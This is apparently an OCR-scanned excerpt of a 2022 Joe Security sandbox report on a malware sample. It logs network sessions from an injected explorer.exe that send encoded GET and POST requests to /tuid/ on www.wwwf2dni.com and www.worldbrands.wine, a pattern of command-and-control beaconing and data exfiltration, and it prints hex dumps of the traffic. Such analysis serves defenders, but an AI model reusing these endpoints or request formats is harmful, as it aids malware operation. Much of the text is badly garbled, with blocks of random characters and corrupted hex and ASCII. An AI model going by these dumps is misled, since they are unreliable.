pyMcTd9d(x84D9hip6EOEVtt344jOSuOfVEJIIzwn0x1zzqsD3Y (QqosrburQTsWIRWJIOSRqOIQFruN7DpFEnYUdq
Xw136yZr3qKnLz6RO9IQMjAkcyVFijTkQRy1WZOUp6VjclsTMuF DOWNnDOENMvWCXhoMCSMgP1Ip2n2leuowCSIlbxXQB
yhRRnBXgrrma3xCnGwxeLIOvmLo(3GetKq8UxpS3c99g5Y XfuZ2RdR4iaG7hSyVsHWayYAjnOxloy98dt4WhrLJkecS
_a0B_YU(VqlwB55ZhPvciBfsOABIftCloyZwf(xDAQHCN5vbrk Gak9qLYY3Pd(rbS~qULIHYcNXINAGLW2IU4F9D00
bAAH9guSd3yg3PrnbpmLiE-QftYE-OSZMY1S3ZPWYjrbGhtVIcGp-Gvloneq0(xww229y12fNIxFgJ_N7qQmZRaulL.S
50UbMJej5ga0BgJ180Rp3tW~M6WaUakoP5V9sLCA4CLtDXBOfs_1LTBy3XXK4DUfqTWkKr8ErJcT_1gXeiWoYoWSas
QQEwWTL2KgQeRI1xMudfhuzVE5]BdcQWTYMcw69INMECDmMqWr1lOkmfTIDW6BcT45hr7FyCZaRHKmpSNNRN
8mDA4t30(2gsINiZirAZgaX_t-n71xLXi7Dj4bZYiRdaWuM4v60K8dig5Zy5ch~Uyui2CceR8pG3Z0OJyolnwArFCSO7
Afin8jwA6X0Z_MmMNCoAWBsImUGVHorlLDPtUcpZKoC9X8XK-ThF8TO~3Mp8Eqr5luPZdBr8vGRqGUXq_9ilpk_gpd
XhbbXwV166E2ANtin03IRgFOCrVbv6ur5ZZWazZaxCPhignfa4UalrqVNOz265s3bx(RcV4D4NW8SDd~_b8pTR7iB18y
zuowyXtXg6u99cq3PMMKCsZh5zuPZPbe3IfB9ZngZmJLok4IDiE09jcfQdI(RKq720020QtR6H0dts7XMgmSuCnGZf
sVI4bCDqYI0J0yRsTGILSWAfwv3gOFmDBTA8IQhEYdmaim6yvGRywn5ys1GEQS08SQ19s35htYsi4HEWpWIvtGdxK
3sS4FMeK-(Mg0cJYBAK~C7BI2GDdkeVgbw10VM37kydCiWnXSGjkQp1OU1UL7hvQcW9(OspxyGswZdtQOBDAThqoDW
TnOO6GEB2tsiAGEKPV-1pGhFNtSW8CH(fiSXvQirX9UfVoc3w-INsL~AHWVzs6i2U3iTTFilvABorDJbok9t82C-NkW
Q5CFhfHeArTjGo8JWR2IZtv6Qwd4kdPPCgBE Tkg8DkL7dBMq3tyPfFaGbHeY 00VvhM3v8Jcci89bZZ7zAYp3SUhSpE
3fRYoPuJkziGqwT3sG3PSegvQRBqglis4tpgakipBVmXgalyOXsaqPQzGrF-FaKz0qpjnJDSDNm_G24RsbBD27ssmrf
R48knS4Ug9gZxrG4iZEMVTMyrsXKWOs4qlvX1a5App-vX0TG5p2DuCrXzMw(lvFA_pUexSykOgRdUmHeYEoyPAR2Yj
EZym3Dpi9allmGnOOGHBHcAUsLZnarCRIthG61tQ7Z_45ZaOB(64635LpcFPdzCjGVEEJEYrLgrvQelLMuTeflpjalu
bNcGeDc1rJoY6VuPSgM6eQ2WUEov4vZilnmIHIAV _uLBsqgfhLjmg51MyZW7DWKrMCr3KHFxr97WenE_Vi8U(G(PQPb
IW8PVHZnwYS0O9h5ZsNLQCBgGQHCIbATs2MfWhIEND1FvgTI3_7G40U39QlIwiTYmJyRuigI5C1pLR2TPQuWzge Dwy
qzUDQb5Z4E10bW8Hn4j3nVIb_ZBa4ELqQSxm7UNBBAXgoKucaNuMCEZbO80jju7p7~088dmetPFKzy521NFYM8ZnI7
5FvkGQgp8-00jKD3n6s1hy6lVeL TBP30O(EZHOKKJIdipzDyrXmU(GzyckAS1Qt0ZzRcz03E~KoDcBttfxDI1DQxshjGV5EX5-
6eEWpMB8ujM4gRiK1bst_3dpg(YU_F9AQ(AdIYvd2DNLDSSLTdHwWrbGeBINGGVHZTBQJ5x9R_WkZozXV37RWXn
gqwHWVRYhg8ZbBikMSoMjVTNgriVGv(e8BUKNAToTPEXilfuak28GIGIPUEbY Em4Cpaez89nPPCOR8Xj50Z~KNs3_fMA
IN8N-~qTZob3NbIArBR1rZz\VxsZC2prjLKwhLNm~txF603tUDWKNbZdRFVVe2DD7yvY (O~jiBSnq5(ZrmP_P1LSpDY
t77VITSI120DLdxfnxM8U7uppum5ie OYsfw6C4eRCOAeYa26s4bJOx1ZEdOFsmVITI4ICvxFipalZapalY757iHolX
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Timestam| LEpee
P transferred

Session ID Source IP
32 192.168.11.20

. kBytes
Timestamp transferred
Aug 8, 2022 2339
17:46:39.844942093
CEST
Aug 8, 2022 2383
17:46:40.045722961
CEST
Session ID Source IP
33 192.168.11.20

. kBytes
Timestamp transferred

Copyright Joe Security LLC 2022

Direction

Source Port

49802

Direction

ouT

Source Port

49803

Direction

7ELN1EeWTKIxKJuz6rEJIUznKxtgnyDUePHI3g4JQ(gFnVXhTDEFeuhJY3idXt2XsowidpxBux86Z3bUEVhf7nHuk4
nglYCyOVGnhyEpRhASOTCgBto3p7 1xhX8hFpj7Vkl7eLbhuLO(MErOx~SNHnrFWE-quCh6F1F7BPPShO_n-6wwOu
r3f2LO2y1xIYtHg~T3pWI60uSihQxf_W9hY56xDiGx-GEztCTIWk8l_m4J60HoNyfgeQsbp~LgSMFwsGgKKoKb4z3z
K33kAK833P37uXh7F78uMDEveR0JuBfTR~0Ig9Yxxg9ts63lwi4HAzjsM0eA9p9Up25WaKP38je8v0JfOkFclcdLxi
CUJ706kThYMfW6vOUy3Im1lYyCFEIgUNaXPag9_s9ZmDAS6EII9LNANx45b

Destination IP Destination Port Process
154.80.183.133 80 C:\Windows\explorer.exe
Data

GET /tuid/?m4bd=HIOGqwzZ3Is|7OEwvKn7zxoClrzNSHOuht2lzyEyFHfgP4651xyJdMCZXysOBRyGrE8f&8pB=3fY8ljB8rp-
HHTTP/1.1

Host: www.wwwf2dni.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 200 OK

Server: nginx

Date: Mon, 08 Aug 2022 15:46:39 GMT

Content-Type: text/html

Content-Length: 1840

Connection: close

Vary: Accept-Encoding

Data Raw: 3c 68 74 6d 6¢ 20 78 6d 6¢ 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f
78 68 74 6d 6¢ 22 3e 0d Oa 3c 68 65 61 64 3e 0d Oa 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 74 69 74 6¢ 65
3d 27 c0 d6 c7 e5 c5 ce da bl b5 e7 d7 d3 d3 dO cf de b9 ab cb be 27 3b 3c 2f 73 63 72 69 70 74 3e 0d Oa 3c 74 69 74 6¢
65 3e 26 23 32 32 32 36 39 3b 26 23 32 30 31 33 35 3b 26 23 32 36 30 38 35 3b 26 23 33 38 38 38 39 3b 26 23 32 36 34
3130 3b 26 23 32 38 33 38 35 3b 26 23 32 31 33 31 33 3b 26 23 32 30 38 34 33 3b 26 23 33 31 31 30 35 3b 26 23 32 37
34 39 30 3b 26 23 33 35 32 36 36 3b 26 23 33 30 34 37 35 3b 2c 26 23 32 33 31 35 39 3b 26 23 32 33 31 35 39 3b 26 23
323031 31363b 262332363337 36 3b 2623 3332 353038 3b 262332313531 323b262333323536343b26
23323437 37333b262332323331323b262333323434373b262333353237303b262333393035373b
2c 26 23 32 34 37 37 33 3b 26 23 32 30 33 38 37 3b 26 23 32 30 33 31 36 3b 26 23 32 39 32 33 33 3b 26 23 33 3532 37
30 3b 26 23 33 39 30 35 37 3b 26 23 33 32 35 39 33 3b 26 23 33 31 34 34 39 3b 2c 26 23 32 30 31 35 34 3b 26 23 32 32
39 37 31 3b 26 23 32 36 30 38 30 3b 26 23 33 30 37 32 31 3b 26 23 32 30 31 35 34 3b 26 23 32 32 39 37 31 3b 26 23 32
36 33 37 37 3b 26 23 33 30 37 32 31 3b 26 23 32 30 30 31 33 3b 26 23 32 35 39 39 31 3b 26 23 32 33 33 38 33 3b 26 23
32343134 39 3b 26 23 32 32 33 31 32 3b 26 23 33 32 34 34 37 3b 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 6d 65 74 61 20 6e
61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23 32 32 32 36 39 3b 26 23 32 30 31 33 35
3b 26 23 32 36 30 38 35 3b 26 23 33 38 38 38 39 3b 26 23 32 36 34 31 30 3b 26 23 32 38 33 38 35 3b 26 23 32 31 33 31
33 3b 26 23 32 30 38 34 33 3b 26 23 33 31 31 30 35 3b 26 23 32 37 34 39 30 3b 26 23 33 35 32 36 36 3b 26 23 33 30 34
37 353b 2c 26 23 32 33 31 35 39 3b 26 23 32 33 31 35 39 3b 26 23 32 30 31 31 36 3b 26 23 32 36 33 37 36 3b 26 23 33
32 3530 38 3b 26 23 32 31 35 31 32 3b 26 23 33 32 35 36 34 3b 26 23 32 34 37 37 33 3b 26 23 32 32 33 31 32 3b 26 23
333234 34 37 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 2c 26 23 32 34 37 37 33 3b 26 23 32 30 33 38 37 3b
26 23 32 30 33 31 36 3b 26 23 32 39 32 33 33 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 26 23 33 32 35 39 33
3b 26 23 33 31 34 34 39 3b 2c 26 23 32 30 31 35 34 3b 26 23 32 32 39 37 31 3b 26 23 32 36 30 38 30 3b 26 23 33 30 37
32 31 3b 26 23 32 30 31 35 34 3b 26 23 32 32 39 37 31 3b 26 23 32 36 33 37 37 3b 26 23 33 30 37 32 31 3b 26 23 32 30
3031 33 3b 26 23 32 35 39 39 31 3b 26 23 32 33 33 38 33 3b 26 23 32 34 31 34 39 3b 26 23 32 32 33 31 32 3b 26 23 33
32 3434 37 3b 22 20 2f 3e 0d Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74
65 6e 74 3d 22 26 23 32 33 31 35 39 3b 26 23 32 33 31 35 39 3b 26 23 32 30 31 31 36 3b 26 23 32 36 33 37 36 3b 26 23
333235 3038 3b 26 23 32 31 35 31 32 3b 26 23 33 32 35 36 34 3b 26 23 32 34 37 37 33 3b 26 23 32 32 33 31 32 3b 26
233332343437 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 5f 26 23 32 34 37 37 33 3b 26 23 32 30 33 38 37
3b 26 23 32 30 33 31 36 3b 26 23 32 39 32 33 33 3b 26 23 33 35 32 37 30 3b 26 23 33 39 30 35 37 3b 26 23 33 32 35 39
33 3b 26 23 33 31 34 34 39 3b 5f 26 23 32 30 31 35 34 3b 26 23 32 32 39 37 31 3b 26 23 32 36 30 38 30 3b 26 23 33 30
37 3231 3b 26 23 32 30 31 35 34 3b 26 23 32 32 39 37 31 3b 26 23 32 36 33 37 37 3b 26 23 33 30 37 32 31 3b 26 23 32
303031333b26233235

Data Ascii: <html xmIns="http://www.w3.0rg/1999/xhtml"><head><script>document.title=";</script><title>&#22269
;&#20135;8#26085;&#38889;&#26410;8#28385;&#21313;&#20843;&#31105;8#27490;&#35266;&#30475;,&#23159;&#
23159;&#20116;&#26376;8#32508;&#21512;8#32564,&#24773;8#22312;8#32447,&#35270;8#39057;,&#24773;&#203
87,&#20316;&#29233;&#35270;&#39057;&#32593;8&#31449;,&#20154;&#22971;8#26080;&#30721,;8#20154;&#22971;
&#26377;&#30721;&#20013;8#25991;&#23383;&#24149;&#22312;&#32447</title><meta name="keywords" conten
t="8&#22269;&#20135;&#26085;&#38889;&#26410;&#28385;&8#21313;8#20843;&#31105;&#27490;&#35266,;8&#30475;,
&#23159;&#23159;8#20116;8#26376;&#32508;&#21512;&#32564;8#24773;8#22312;&#32447;8#35270;&#39057;,&#2
4773;&8#20387;&#20316;&#29233;&#35270;8#39057;&#32593;&#31449;,&#20154;&#22971;8#26080;&#30721;8&#2015
4;&#22971;&#26377;&#30721;&#20013;8#25991;&#23383;&#24149;&#22312;&#32447;" [><meta name="description"
content="&#23159;&#23159;&#20116;&#26376;&#32508;&#21512;&#32564;8#24773;8#22312;8&#32447,&#35270;
&#39057;_&#24773;&#20387;&#20316;&#29233;&#35270;&#39057;&#32593;&#31449;_&#20154;&#22971;8#26080;8&#
30721;&#20154;8#22971;8#26377;8&#30721;&#20013;&#25

Destination IP Destination Port Process
81.95.96.29 80 C:\Windows\explorer.exe
Data
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kBytes

Timestamp e Direction
Aug 8, 2022 2490 ouT
17:46:45.076797009
CEST
Session ID Source IP Source Port
34 192.168.11.20 49804
kB
Timestamp ytes Direction
transferred

Copyright Joe Security LLC 2022

Data

POST /tuid/ HTTP/1.1

Host: www.worldbrands.wine

Connection: close

Content-Length: 174830

Cache-Control: no-cache

Origin: http://www.worldbrands.wine

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.worldbrands.wine/tuid/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 6d 34 62 64 3d 48 6e 44 78 77 7a 4c 64 36 51 65 59 55 57 33 67 32 6¢ 4b 4f 38 55 48 46 61 43 57 67 49 62 6b
31 4a 64 44 62 51 5a 6f 44 66 35 69 74 32 55 53 77 28 59 76 61 79 6¢ 30 6a 57 42 4c 44 39 7a 7a 59 49 50 66 33 64 47
77 3253 48 59 5a 79 5f 7e 58 47 65 6¢ 48 4c 49 75 61 39 45 4b 70 4a 4e 63 56 39 2d 79 37 73 50 50 2d 45 43 4f 4a 67
67 67 6f 7a 47 43 4a 4b 63 71 43 56 43 5a 32 72 4f 75 4b 69 75 6a 55 59 32 4d 6f 69 58 74 66 37 66 59 52 69 56 74 55 7
439 61 76 6e 76 6f 4f 6f 4d 53 6b 78 5f 75 6b 46 49 7e 30 75 55 7e 46 72 47 6e 78 69 72 78 2d 75 30 51 67 50 46 73 71
52 58 34 66 79 6d 73 6a 56 44 59 6¢ 30 6e 64 76 65 57 7e 69 37 69 35 7a 73 75 42 72 4c 65 39 74 49 35 78 6a 35 75 76
68 7e 42 70 54 44 65 6e 4d 74 66 6d 38 56 37 4c 53 61 34 65 2d 74 48 46 78 68 32 36 46 4c 32 71 78 6a 30 56 66 79 6f
69 32 63 74 52 4c 56 57 55 73 69 43 32 75 7a 36 70 50 74 4e 32 38 7e 31 45 6b 4f 64 34 44 58 79 6b 66 49 30 6¢ 30 57
6f 43 4e 75 44 63 4c 37 45 71 2d 5a 72 78 5f 42 6f 72 63 73 4c 38 54 7e 2d 7e 32 73 6d 67 38 36 51 63 70 54 57 6d 4d
47 55 30 6a 6f 79 7e 4f 42 69 79 61 55 37 5a 5a 65 5f 41 53 68 39 79 70 69 67 42 53 58 4a 71 58 75 47 6b 68 6b 56 4a
4c 7554 32 75 43 4e 64 55 77 44 66 49 56 6a 4f 41 69 38 30 65 53 47 30 42 67 33 4a 30 43 48 46 49 4f 45 62 4f 65 51 4f
69 62 4c 61 6f 54 67 63 30 62 7a 4d 35 67 67 36 69 39 63 43 2d 45 41 67 73 33 48 76 4c 41 4d 67 32 43 5f 32 42 38 6d
3367 42 63 7a 69 35 50 53 59 6d 57 48 51 34 51 34 7a 47 47 58 75 30 35 31 52 42 63 33 62 67 58 38 4f 6¢ 46 6¢ 42 31
67 6d 6d 4c 5f 75 7a 45 68 50 61 51 66 4c 4b 39 45 73 6d 71 35 56 66 68 58 52 46 43 74 5a 55 4f 69 39 67 6b 2d 76 64
7a 5255 75 44 56 42 79 70 4d 7a 5f 75 5f 78 68 35 63 6a 71 30 66 59 77 62 45 59 44 73 4b 49 68 78 38 64 51 33 34 34
36 6f 53 58 32 45 64 33 33 55 33 4¢ 30 70 79 67 75 6b 5f 76 49 79 68 4c 41 7e 34 68 75 44 53 78 75 36 69 58 71 56 36 4
5 5f 30 50 4d 48 72 4f 39 49 50 41 4e 2d 4f 52 4b 67 4e 35 45 6a 4c 73 51 45 43 6d 53 74 73 6¢ 62 62 45 72 4 74 50 49 7
34d 46 5350 6b 79 38 75 47 63 68 4c 56 42 64 37 61 53 52 28 33 62 70 47 33 69 36 66 68 6a 42 57 58 61 61 53 69 57
70 76 57 6e 4a 54 6a 56 77 51 56 4b 54 43 65 67 53 33 32 31 4a 39 75 33 4a 5a 68 6¢ 64 7e 59 64 4d 45 47 37 4a 61 50
68 7a 49 46 38 35 4a 37 43 55 67 61 77 72 34 4e 57 37 61 44 76 49 6d 53 63 6d 58 4e 51 35 4b 56 58 65 67 55 67 69 49
37 6f 6d 50 4c 75 66 59 54 7a 36 38 47 71 54 6¢ 6¢ 61 62 4e 64 38 61 5a 6d 7e 6¢ 62 50 35 4a 63 73 66 53 72 55 53 56
31 6¢ 4e 57 48 33 63 74 55 69 78 30 4e 73 43 53 4f 64 64 6d 73 75 42 66 47 36 68 61 69 4a 77 4b 64 77 58 58 59 68 4d
42 5a 61 70 68 4b 56 59 57 74 4b 79 75 46 55 50 59 69 6¢ 53 5a 36 68 39 2d 65 4b 54 62 65 4b 74 50 42 61 50 77 63 72
6551 4d 6¢ 37 58 70 55 71 63 72 42 67 6b 69 64 74 76 43 7a 6a 59 65 7a 6d 75 51 4e 75 43 71 76 6d 67 72 49 6a 4e 66
3431 3562 7a 78 33 58 59 6a 4b 67 6e 34 57 65 37 55 62 4a 54 77 41 61 5f 44 32 51 76 37 64 61 58 46 54 50 41 75 38
6f 6¢ 68 78 53 49 39 62 36 76 4a 73 7e 57 5a 32 7a 41 62 5f 46 41 4b 47 54 4a 30 71 39 6e 7a 4b 52 79 79 76 48 72 68
34 48 68 36 44 49 54 57 44 42 43 73 42 75 55 73 42 67 33 77 5a 78 38 58 4c 52 30 4d 72 36 64 49 53 4a 43 73 6a 38 56
49 31 4f 66 61 66 74 5f 7e 63 31 78 68 5a 4e 75 34 4d 6e 5f 50 6d 35 67 68 45 4c 67 6b 32 70 4f 6a 71 4e 67 42 6d 41 42
4f 7a 69 68 47 49 72 30 28 77 45 75 31 6a 6a 4d 78 78 64 4e 57 57 30 68 63 57 32 31 55 4e 5a 5f 31 44 76 55 6e 36 31
4130 39 43 6d 47 69 64 48 30 35 28 69 58 69 30 54 6e 65 59 7a 56 51 65 50 41 7a 4d 34 4f 76 7e 79 37 78 78 35 32 4e
66 30 65 72 4d 7a 28 36 33 69 67 58 42 35 31 35 47 72 55 52 4a 54 77 79 31 47 4a 56 68 57 77 5f 39 75 63 6b 30 74 47
57 46 7a 4c 54 6d 33 78 44 6e 4e 5a 6b 4c 31 43 65 39 62 54 66 54 78 5a 34 43 75 36 6a 57 50 6a 6b 61 42 75 6b 68 58
74 4e 39 36 65 75 52 4f 6f 48 30 33 54 39 75 59 52 70 58 65 4b 78 6a 6b 7e 52 75 4b 7e 52 47 5f 33 45 67 47 7e 56 31
61 64 64 70 68 36 46 41 4f 76 55 30 41 6e 44 34 69 31 6f 49 6a 41 7a 79 56 6e 50 49 6e 6a 67 32 5a 67 65 71 71 70 30
30 39 4e 70 62 37 67 48 4a 73 45 6b 67 79 30 35 31 46 78 62 37 4b 67 38 74 49 4b 4e 4c 61 7e 6¢ 6e 64 46 32

Data Ascii: m4bd=HnDxwzLd6QeYUW3g2|KO8UHFaCWglbk1JdDbQZoDf5it2USw(Yvayl0jWBLD9zzYIPf3dGw2S

HYZy ~XGelHLIua9EKpJNcV9-y7sPP-EC0JgggozGCJIKcqCVCZ2rOuKiujuY 2MoiXtf7fY RiVtUt9avnvoOoMSkx_u
kFI~0uU~FrGnxirx-u0QgPFsqRX4fymsjVDYI0ndveW~i7i5zsuBrLe9tI5xj5uvh~BpTDenMtfm8V7L Sade-tHFxh26FL2gxj0V
fyoi2ctRLVWUsiC2uz6pPtN28~1EkOd4DXykflOl0WoCNuDcL7Eq-Zrx_BorcsL8T~-~2smg86QcpTWmMGUOjoy~OB
iyaU7ZZe_ASh9ypigBSXJIgXuGkhkVJILuT2uCNdUwDfIVjOAi80eSGOBg3JOCHFIOEbOeQOibLaoTgcObzM5gg6i9cC-
EAgs3HVLAMg2C_2B8m3gBczi5PSYmMWHQ4Q4zGGXu051RBc3bgX80IFIBlgmmL_uzEhPaQfLK9Esmg5V
fhXRFCtZUOIi9gk-vdzRUUDVBYpMz_u_xh5cjgOfYwbEYDsKlhx8dQ34460SX2Ed33U3L0pyguk_vlyhLA~4huDSxu6
iXqV6E_OPMHrO9IPAN-ORKgN5EjLsQECMStsIbbErOtPIsMFSPky8uGchLVBd7aSR(3bpG3i6fhjBWXaaSiwpvWndT
JVWQVKTCegS321J9u3JZhld~YdMEG7JaPhzIF85J7CUgawr4NW7aDvimScmXNQ5KVXegUgil7omPLufY Tz68GqTlla
bNd8aZm-~IbP5JcsfSrUSV1INWH3ctUixONsCSOddmsuBfG6hailwKdwXXYhMBZaphKVYWtKyuFUPYilSZ6h9-eKTbe
KtPBaPwcreQMI7XpUqcrBgkidtvCzjYezmuQNuCqvmgrljNf415bzx3XYjKgn4We7UbJTwAa_D2Qv7daXFTPAu8olh
xSI9b6vIs~WZ2zAb_FAKGTJI0q9nzKRyyvHrh4Hh6DITWDBCsBuUsBg3wZx8XLROMr6dISJICsj8VI10faft_~c1xhZN
u4Mn_Pm5ghELgk2pOjgNgBMABOZIhGIrO(WEULjjMxxdNWWOhcW21UNZ_1DvUn61A09CMGidHO5(iXi0TneYzVQePA
zZM40v~y7xx52Nf0erMz(63igXB515GrURITwy1GIVhWw_9uckOtGWFzLTm3xDnNZkL1Ce9bTfTxZ4Cu6jWPjkaBukh
XtN96euRO0oHO03TIuYRpXeKxjk~RuK~RG_3EgG~V1addph6FAOVUOANDA4i1loljAzyVnPInjg2Zgeqqp009Npb7gHJISE
kgy051Fxb7Kg8tIKNLa~IndF2x7vQ9FZfDRusO605cg5eQrXI5Tawl5rvLgASPpboNWGI8Rcwlj90cDMnx75VM2TW2
BU_ZGvB0o0STyFz_VO23EtWCCpgeAiVegY XG8lY1lulLafltlzL6vynJuELI(QddT1ix2xG1luXiBOLSZHK8y3FXYcPgdE
Hi3MJIw222F1119N~0~P25(0bBeW36kEqF7piHcCA5Q3xZOGghjviwEfyNmcPGOhavTug-dOlURzLenPFa4NTJIfvr3
2SPnMG_laEDgVdyg-9VvuC1s2PkOPh16Kp9Tc(myflémrx8sPelaHX2a3UxpNJHf32X4xPfcCgxMmg6PF6DeqFpv5n
RJIDOFYtSKHXEdKZupbbRwyj3M~V8jFrEWULXSRbD7JIr-JUXKkjf0igtFVHUOcp0Z8sMqdRIC3uXExaUjq2Weh~NPwT
IpA61Y_3gBOBoIxK-Ng4ckoOeMBGYkedLZEMIINA22K (cO3eoRPfLOWZH8v8cl4HJjuwKlIfeZshKZ1Y QGLLEGNOw-u
2qooWPO8C8ziOFuiLQYxhU9ntcU9nbHxQv2xcUnZ1KIUaeaBZKB(I6 C1Efjd0ltSgoEmOrlaXqK3Aj3hn73VVolj8t
Z4BEH~fUQ2MI8JYAb3pktU8YFWJYRO0CIXWIQMNrYDYCpr4d5SPYyTEKMD7EVS03AAURJcnDPJQBaWAsid
GePs4CRXGGzbo9gv_AcNYflk8oMSjsZqlp3638mg3xCo6e0QVFtyChdOVTTctkcBee64Xz1GSAejVwX(j(kJc(ifwa
yHferz32iJplypG~iPQpG9s(e9SZh3v56M5i8yp5Nip~CPFFjY9exrbalgNvePJwSvIARt_D9fDtBaZcD82y88QQ7W
MVvKaDp6bdgqOjPa7PZSbZX8UF8QCIVyWIaUkB7PGI

Destination IP Destination Port Process
81.95.96.29 80 C:\Windows\explorer.exe
Data
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Timestamp

Aug 8, 2022
17:46:45.097492933
CEST

Aug 8, 2022
17:46:45.151875019
CEST

Session ID

35

Timestamp

Session ID

36

Timestamp

Session ID

37

Timestamp

kBytes

transferred Directon

2526 ouT

2666 IN
Source IP Source Port

192.168.11.20 49805

kB!
s Direction
transferred
Source IP Source Port

192.168.11.20 49806

kBytes . .
Y Direction
transferred
Source IP Source Port

192.168.11.20 49809

kBytes

Direction
transferred

Copyright Joe Security LLC 2022

Data

GET /tuid/?M8s=w86DJpgx5FYIUfRP&m4bd=113LuUn17X0OwO1L66Bn3hjajRgSpl6 QUPLSUULkpfr+VyFXt3qGq+
SpnJy79y37sHeXr HTTP/1.1

Host: www.worldbrands.wine

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 200 OK

Date: Mon, 08 Aug 2022 15:46:45 GMT

Server: Apache/2.4.25 (Debian)

Vary: Accept-Encoding

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

Data Raw: 35 37 30 32 0d Oa 3c 68 74 6d 6¢ 3e Oa Oa 3c 68 65 61 64 3e 0a 09 3c 62 61 73 65 20 68 72 65 66 3d 22 2f 22
3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 0a 09 3c 74 69 74 6¢ 65 3e 41 43 54 49
56 45 20 32 34 2c 20 73 2e 72 2e 6f 2e 3c 2f 74 69 74 6¢ 65 3e Oa Oa 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65
7770 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 7
46961 6¢ 2d 73 63 61 6¢ 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 4b 65 79 77 6f 72 64 73 22 20 63 6f
6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 44 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e
74 65 6e 74 3d 22 41 43 54 49 56 45 20 32 34 2c 20 73 2e 72 2e 6f 2e 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22
4175 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 41 43 54 49 56 45 20 32 34 2c 20 73 2e 72 2e 6f 2e 22 3e 0a 09 3c
6d 65 74 61 20 6e 61 6d 65 3d 22 4f 77 6e 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 41 43 54 49 56 45 20 32 34 2¢ 20 73
2e 72 2e 6f 2e 20 22 3e 0a 0a 09 3c 21 2d 2d 20 66 61 76 69 63 6f 6e 20 73 74 61 72 74 20 2d 2d 3e Oa 09 3c 6¢ 69 6e
6b 20 72 65 6¢ 3d 22 61 70 70 6¢ 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 35 37 78 35 37 22 20
68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 75 69 2e 61 63 74 69 76 65 32 34 2e 63 7a 2f 69 6d 67 2f 69 63 6f 6e 2f 61
70 70 6¢ 65 2d 69 63 6f 6e 2d 35 37 78 35 37 2e 70 6e 67 22 3e 0a 09 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 61 70 70 6¢C 65
2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 36 30 78 36 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a
2f 2f 67 75 69 2e 61 63 74 69 76 65 32 34 2e 63 7a 2f 69 6d 67 2f 69 63 6f 6e 2f 61 70 70 6¢ 65 2d 69 63 6f 6e 2d 36 30
78 36 30 2e 70 6e 67 22 3e 0a 09 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 61 70 70 6¢ 65 2d 74 6f 75 63 68 2d 69 63 6f 6 22
207369 7a 65 73 3d 22 37 32 78 37 3222 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 75 69 2e 61 63 74 69 76 65 3
234 2e 63 7a 2f 69 6d 67 2f 69 63 6f 6e 2f 61 70 70 6¢ 65 2d 69 63 6f 6e 2d 37 32 78 37 32 2e 70 6e 67 22 3e 0a 09 3c 6
€ 69 6e 6b 20 72 65 6¢ 3d 22 61 70 70 6¢ 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36
222068 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 75 69 2e 61 63 74 69 76 65 32 34 2e 63 7a 2f 69 6d 67 2f 69 63 6f 6e
2f61 70 70 6¢ 65 2d 69 63 6f 6e 2d 37 36 78 37 36 2e 70 6e 67 22 3e 0a 09 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 61 70 70
6¢ 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 31 34 78 31 31 34 22 20 68 72 65 66 3d 22 68 74
7470 73 3a 2f 2f 67 75 69 2e 61 63 74 69 76 65 32 34 2e 63 7a 2f 69 6d 67 2f 69 63 6f 6e 2f 61 70 70 6¢ 65 2d 69 63 6f
6e 2d 31 31 34 78 31 31 34 2e 70 6e 67 22 3e 0a 09 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 61 70 70 6¢ 65 2d 74 6f 75 63 68
2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 32 30 78 31 32 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 75
69 2e 61 63 74 69 76 65 32 34 2e 63 7a 2f 69 6d 67 2f 69 63 6f 6e 2f 61 70 70 6¢ 65 2d 69 63 6f 6e 2d 31 32 30 78 31 32
30 2e 70 6e 67 22 3e 0a 09 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 61 70 70 6¢ 65 2d 74 6f 75 63 68 2d 69 63 6f 6 22 20 73
